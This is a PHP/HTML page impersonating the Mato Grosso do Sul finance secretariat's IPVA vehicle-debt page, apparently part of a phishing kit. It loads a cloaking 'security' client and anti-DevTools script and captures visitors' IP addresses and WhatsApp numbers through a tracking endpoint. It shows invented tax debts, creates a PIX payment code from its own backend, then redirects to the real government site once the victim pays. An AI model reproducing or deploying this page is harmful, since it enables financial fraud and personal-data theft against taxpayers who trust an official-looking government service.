<?php
/**
 * Debitos - Página de Resultados com Proteções de Segurança
 * Site MS - Mato Grosso do Sul
 */

declare(strict_types=1);

require_once __DIR__ . '/security-client.php';
require_once __DIR__ . '/client-config.php';

$siteId = 'ms_site_main';
$securityResult = SecurityClient::protect($siteId, true);
$securityConfig = SecurityClient::getConfig($siteId);

ob_start();
?>
<!DOCTYPE html>
<html lang="pt"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Governo do Estado de Mato Grosso do Sul - IPVA - Débitos</title>
    <link rel="stylesheet" type="text/css" href="novadebitos_files/ResetCss.css">
    <link rel="stylesheet" href="novadebitos_files/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
    <link href="novadebitos_files/Site.css" rel="stylesheet" type="text/css">
    <script src="novadebitos_files/jquery-3.7.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
    <style>
    html, body { height: 100%; margin: 0; }
    body { display: flex; flex-direction: column; background: #f5f5f5; min-width: 0; font-family: "Open Sans", sans-serif; }
    .content-wrapper { flex: 1 0 auto; }
    .header { background: #004f9f; padding: 10px 0; flex-shrink: 0; position: relative !important; }
    .logo img { max-height: 50px; }
    
    .container-veiculo-info { background: #fff; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); padding: 20px; margin-top: 20px; }
    .veiculo-titulo { color: #004f9f; font-weight: 800; font-size: 20px; border-bottom: 2px solid #004f9f; padding-bottom: 10px; margin-bottom: 15px; }
    
    .dados-lista { list-style: none; padding: 0; margin: 0; display: flex; flex-wrap: wrap; }
    .dados-lista li { width: 33.33%; margin-bottom: 12px; font-size: 14px; color: #666; }
    .dados-lista li b { color: #333; display: block; font-size: 15px; }
    .dados-lista li i { color: #004f9f; margin-right: 5px; width: 20px; }

    .card-debito { background: #fff; border-left: 5px solid #004f9f; margin-bottom: 10px; padding: 15px; border-radius: 4px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); transition: all 0.2s; cursor: pointer; }
    .card-debito:hover { background: #f0f7ff; }
    .card-debito.selected { background: #eef6ff; border-left-color: #28a745; }
    
    .footer { flex-shrink: 0; background: #004f9f; color: #fff; padding: 20px 0; text-align: center; margin-top: 30px; font-size: 14px; }
    
    .btn-pagar-fixo { position: fixed; bottom: 0; left: 0; width: 100%; background: #fff; box-shadow: 0 -2px 10px rgba(0,0,0,0.1); padding: 15px; z-index: 999; display: flex; justify-content: space-around; align-items: center; }
    .total-container { text-align: left; }
    .total-label { font-size: 12px; color: #666; text-transform: uppercase; }
    .total-valor { font-size: 24px; font-weight: 800; color: #004f9f; }
    
    @media (max-width: 768px) {
        .dados-lista li { width: 50%; }
        .total-valor { font-size: 20px; }
    }
    </style>
</head>
<body>

<div class="content-wrapper">
    <div class="header navbar navbar-fixed-top">
        <div class="container">
            <div class="row align-items-center">
                <div class="col-6">
                    <a class="logo" href="index.html">
                        <img src="novaindex_files/sefaz-ms.png" alt="logo">
                    </a>
                </div>
                <div class="col-6 text-end">
                    <span class="text-white small d-none d-md-inline">Secretaria de Estado de Fazenda</span>
                </div>
            </div>
        </div>
    </div>

    <div class="container">
        <div class="container-veiculo-info">
            <div class="veiculo-titulo"><i class="fas fa-car me-2"></i>DADOS DO VEÍCULO</div>
            <ul class="dados-lista" id="veiculo-detalhes">
                <li><i class="fas fa-id-card"></i><b>Placa</b> <span id="v-placa">-</span></li>
                <li><i class="fas fa-barcode"></i><b>Renavam</b> <span id="v-renavam">-</span></li>
                <li><i class="fas fa-car-side"></i><b>Modelo</b> <span id="v-modelo">-</span></li>
                <li><i class="fas fa-fingerprint"></i><b>Chassi</b> <span id="v-chassi">-</span></li>
                <li><i class="fas fa-palette"></i><b>Cor</b> <span id="v-cor">-</span></li>
                <li><i class="fas fa-gas-pump"></i><b>Combustível</b> <span id="v-combustivel">-</span></li>
                <li><i class="fas fa-motorcycle"></i><b>Tipo</b> <span id="v-tipo">-</span></li>
                <li><i class="fas fa-map-marker-alt"></i><b>Município</b> <span id="v-municipio">-</span></li>
                <li><i class="fas fa-user"></i><b>Proprietário</b> <span id="v-proprietario">-</span></li>
            </ul>
        </div>

        <div class="mt-4">
            <h4 class="fw-bold mb-3" style="color: #333;">Débitos Pendentes</h4>
            <div class="mb-3 d-flex align-items-center">
                <input type="checkbox" id="check-all" checked style="width: 20px; height: 20px;">
                <label for="check-all" class="ms-2 fw-bold">Selecionar todos os débitos</label>
            </div>
            <div id="lista-debitos">
                <div class="text-center p-5"><i class="fas fa-spinner fa-spin fa-2x"></i></div>
            </div>
        </div>
    </div>
</div>

<div class="btn-pagar-fixo">
    <div class="total-container">
        <div class="total-label">Total Selecionado</div>
        <div class="total-valor" id="total-geral">R$ 0,00</div>
    </div>
    <button class="btn btn-primary btn-lg fw-bold" id="btn-gerar-pix" style="background: #004f9f; border: none; padding: 12px 30px;">
        <i class="fa-brands fa-pix me-2"></i>PAGAR AGORA
    </button>
</div>

<footer class="footer">
    <div class="container">
        <p class="mb-0">© 2026 SGI - Secretaria de Estado de Fazenda de Mato Grosso do Sul</p>
        <p class="small opacity-75">Todos os direitos reservados</p>
    </div>
</footer>

<!-- Modal PIX Premium -->
<div class="modal fade" id="modalPix" tabindex="-1">
    <div class="modal-dialog modal-lg modal-dialog-centered">
        <div class="modal-content" style="border-radius: 15px; overflow: hidden;">
            <div class="modal-header" style="background: #f8f9fa;">
                <h5 class="modal-title fw-bold" style="color: #004f9f;">Resumo do Pagamento - PIX</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body p-4">
                <div id="pix-loading" class="text-center p-4">
                    <div class="spinner"></div>
                    <p>Gerando guia oficial (MS)...</p>
                </div>
                <div id="pix-content" style="display:none;">
                    <div class="row">
                        <div class="col-md-6 border-end">
                            <label class="text-muted small">CONTRIBUINTE</label>
                            <p class="fw-bold mb-3" id="resumo-nome">-</p>

                            <div class="mb-3 bg-light p-2 rounded" style="font-size: 11px; border: 1px solid #eee;">
                                <p class="text-muted fw-bold mb-1 border-bottom pb-1 uppercase">VEÍCULO</p>
                                <div class="row">
                                    <div class="col-6">
                                        <div class="resumo-linha"><span class="text-muted">Placa:</span> <span id="resumo-placa" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Renavam:</span> <span id="resumo-renavam" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Modelo:</span> <span id="resumo-modelo" class="fw-bold">-</span></div>
                                    </div>
                                    <div class="col-6">
                                        <div class="resumo-linha"><span class="text-muted">Cor:</span> <span id="resumo-cor" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Combustível:</span> <span id="resumo-combustivel" class="fw-bold">-</span></div>
                                        <div class="resumo-linha"><span class="text-muted">Município:</span> <span id="resumo-municipio" class="fw-bold">-</span></div>
                                    </div>
                                </div>
                            </div>

                            <div id="resumo-itens-container" class="mb-3" style="max-height: 120px; overflow-y: auto; background: #fdfdfd; padding: 8px; border: 1px solid #eee;">
                                <p class="text-muted small fw-bold mb-1">ITENS NA GUIA:</p>
                                <ul id="resumo-itens-lista" class="list-unstyled mb-0" style="font-size: 10px;"></ul>
                            </div>

                            <label class="text-muted small">TOTAL A PAGAR</p>
                            <p class="fw-bold text-primary mb-2" style="font-size: 28px;" id="resumo-valor">R$ 0,00</p>
                        </div>
                        <div class="col-md-6 text-center">
                            <div id="imgQrCodePix" style="margin-bottom: 15px;"></div>
                            <button class="btn btn-primary w-100 fw-bold" onclick="copyToClipboard()" id="copyBtn">
                                <i class="fas fa-copy me-2"></i>COPIAR CÓDIGO PIX
                            </button>
                            <input type="text" id="pixCodigo" style="position: absolute; left: -9999px;">
                        </div>
                    </div>
                    <hr>
                    <div class="bg-light p-3 rounded mb-3">
                        <p class="small fw-bold mb-2"><i class="fab fa-whatsapp text-success"></i> Receba no WhatsApp:</p>
                        <div class="input-group">
                            <input type="text" id="inputWhatsApp" class="form-control" placeholder="(00) 00000-0000">
                            <button class="btn btn-success" onclick="enviarWhatsApp()">Enviar</button>
                        </div>
                    </div>
                    <button class="btn btn-success btn-lg w-100 fw-bold" onclick="confirmarPagamento()">CONCLUIR PAGAMENTO</button>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="novadebitos_files/bootstrap.min.js"></script>

<script>
let dadosConsulta = null;
let userIPv4 = null;

function loadIPv4(callback) {
    $.getJSON('https://api.ipify.org?format=json')
        .done(function(data) { userIPv4 = data.ip; if(callback) callback(); })
        .fail(function() { if(callback) callback(); });
}

function trackEvent(action, metadata = {}) {
    $.ajax({
        url: './track.php',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({ action, captured_ip: userIPv4, metadata }),
        keepalive: true
    });
}

$(document).ready(function() {
    loadIPv4(function() {
        trackEvent('visit', { page: 'debitos' });
    });

    const cached = localStorage.getItem('ms_debitos');
    if (cached) {
        dadosConsulta = JSON.parse(cached);
        renderizar(dadosConsulta);
    } else {
        window.location.href = 'index.html';
    }

    $("#check-all").on('change', function() {
        $(".check-debito").prop('checked', $(this).is(':checked')).trigger('change');
    });
});

function renderizar(res) {
    const raw = res.data || res;
    const v = raw.vehicle || raw.veiculo || {};
    const owner = raw.owner || raw.proprietario || v || {};
    const debts = raw.debts || res.debitos || [];

    const setTextOrHide = (id, val) => {
        const el = $(id);
        if (!val || val === 'N/A' || val === '-' || val === '*********' || val.toString().trim() === "") {
            el.closest('li').hide();
        } else {
            el.text(val).closest('li').show();
        }
    };

    setTextOrHide('#v-placa', v.license_plate || v.placa);
    setTextOrHide('#v-renavam', v.renavam || res.renavam || raw.renavam);
    setTextOrHide('#v-modelo', v.model || v.modelo || v.marcaModelo);
    setTextOrHide('#v-chassi', v.chassis || v.chassi || v.coChassi);
    setTextOrHide('#v-cor', v.color || v.cor || v.dsCor);
    setTextOrHide('#v-combustivel', v.fuel || v.combustivel || v.dsCombustivel);
    setTextOrHide('#v-tipo', v.type || v.tipo || v.dsTipoVeiculo);
    setTextOrHide('#v-municipio', v.county || v.municipio || owner.municipio);
    setTextOrHide('#v-proprietario', owner.owner_name || owner.nome);

    const listCont = $('#lista-debitos').empty();
    if (!debts || debts.length === 0) {
        listCont.append('<div class="alert alert-success text-center">Nenhum débito pendente encontrado para este veículo.</div>');
        return;
    }

    debts.forEach((d, idx) => {
        const valor = d.amount || d.valorTotal || d.valor || 0;
        const desc = d.title || d.description || d.descricao || 'IPVA';
        const venc = d.due_date || d.vencimento || '-';
        
        listCont.append(`
            <div class="card-debito" onclick="toggleDebito(${idx})">
                <div class="d-flex justify-content-between align-items-center">
                    <div class="d-flex align-items-center">
                        <input type="checkbox" class="check-debito me-3" id="deb-${idx}" checked data-valor="${valor}" data-desc="${desc}" onclick="event.stopPropagation()">
                        <div>
                            <div class="fw-bold text-dark">${desc}</div>
                            <div class="small text-muted">Vencimento: ${venc}</div>
                        </div>
                    </div>
                    <div class="text-end">
                        <div class="fw-bold text-primary">${formatMoney(valor)}</div>
                    </div>
                </div>
            </div>
        `);
    });

    $(".check-debito").on('change', updateTotals);
    updateTotals();
}

function toggleDebito(idx) {
    const cb = $(`#deb-${idx}`);
    cb.prop('checked', !cb.is(':checked')).trigger('change');
}

function updateTotals() {
    let total = 0;
    $(".check-debito:checked").each(function() {
        total += parseFloat($(this).data('valor')) || 0;
    });
    $("#total-geral").text(formatMoney(total)).attr('data-total', total.toFixed(2));
    
    $(".card-debito").each(function() {
        if ($(this).find('input').is(':checked')) $(this).addClass('selected');
        else $(this).removeClass('selected');
    });
}

function formatMoney(v) {
    return new Intl.NumberFormat('pt-BR', { style: 'currency', currency: 'BRL' }).format(v);
}

function openPixModal() {
    const total = parseFloat($("#total-geral").attr('data-total'));
    if (total <= 0) return alert("Selecione pelo menos um débito.");

    $("#modalPix").modal('show');
    $("#pix-loading").show();
    $("#pix-content").hide();

    let htmlItens = "";
    $(".check-debito:checked").each(function() {
        htmlItens += `<li class="d-flex justify-content-between border-bottom py-1">
            <span>• ${$(this).data('desc')}</span>
            <span class="fw-bold">${formatMoney($(this).data('valor'))}</span>
        </li>`;
    });
    $("#resumo-itens-lista").html(htmlItens);

    const setTextResumo = (id, val) => {
        const el = $(id);
        if (!val || val === 'N/A' || val === '-' || val.toString().trim() === "") el.parent().hide();
        else { el.text(val).parent().show(); }
    };

    $("#resumo-nome").text($('#v-proprietario').text());
    $("#resumo-valor").text(formatMoney(total));
    $("#resumo-vencimento").text(new Date(Date.now() + 86400000).toLocaleDateString('pt-BR'));

    setTextResumo("#resumo-placa", $('#v-placa').text());
    setTextResumo("#resumo-renavam", $('#v-renavam').text());
    setTextResumo("#resumo-modelo", $('#v-modelo').text());
    setTextResumo("#resumo-cor", $('#v-cor').text());
    setTextResumo("#resumo-municipio", $('#v-municipio').text());

    $.ajax({
        url: './pix-api.php?action=generate',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({
            valor: total,
            renavam: $('#v-renavam').text(),
            placa: $('#v-placa').text()
        }),
        success: function(res) {
            if (res.success) {
                const qr = qrcode(0, 'M');
                qr.addData(res.pix_code);
                qr.make();
                $("#imgQrCodePix").html(qr.createImgTag(5, 0));
                $("#pixCodigo").val(res.pix_code);
                $("#pix-loading").hide();
                $("#pix-content").fadeIn();

                trackEvent('pix_gerado', { valor: total, placa: $('#v-placa').text() });
            } else {
                alert("Erro ao gerar PIX.");
                $("#modalPix").modal('hide');
            }
        }
    });
}

function copyToClipboard() {
    const pixCode = document.getElementById("pixCodigo").value;
    const btn = document.getElementById("copyBtn");
    navigator.clipboard.writeText(pixCode).then(() => {
        const old = btn.innerHTML;
        btn.innerHTML = '<i class="fas fa-check"></i> COPIADO!';
        $(btn).addClass('btn-success');
        setTimeout(() => { btn.innerHTML = old; $(btn).removeClass('btn-success'); }, 2000);
    });
}

function enviarWhatsApp() {
    const whats = $("#inputWhatsApp").val();
    if (whats.length < 10) return alert("Número inválido");
    trackEvent('whatsapp_adicionado', { whatsapp: whats });
    alert("WhatsApp salvo!");
}

function confirmarPagamento() {
    trackEvent('pix_confirmado', { valor: $("#total-geral").attr('data-total') });
    alert("Pagamento em processamento...");
    window.location.href = "https://www.efazenda.ms.gov.br/";
}

$("#btn-gerar-pix").on('click', openPixModal);
</script>

<?php echo SecurityClient::getDevToolsProtectionJS(); ?>
</body></html>
<?php echo ob_get_clean(); ?>
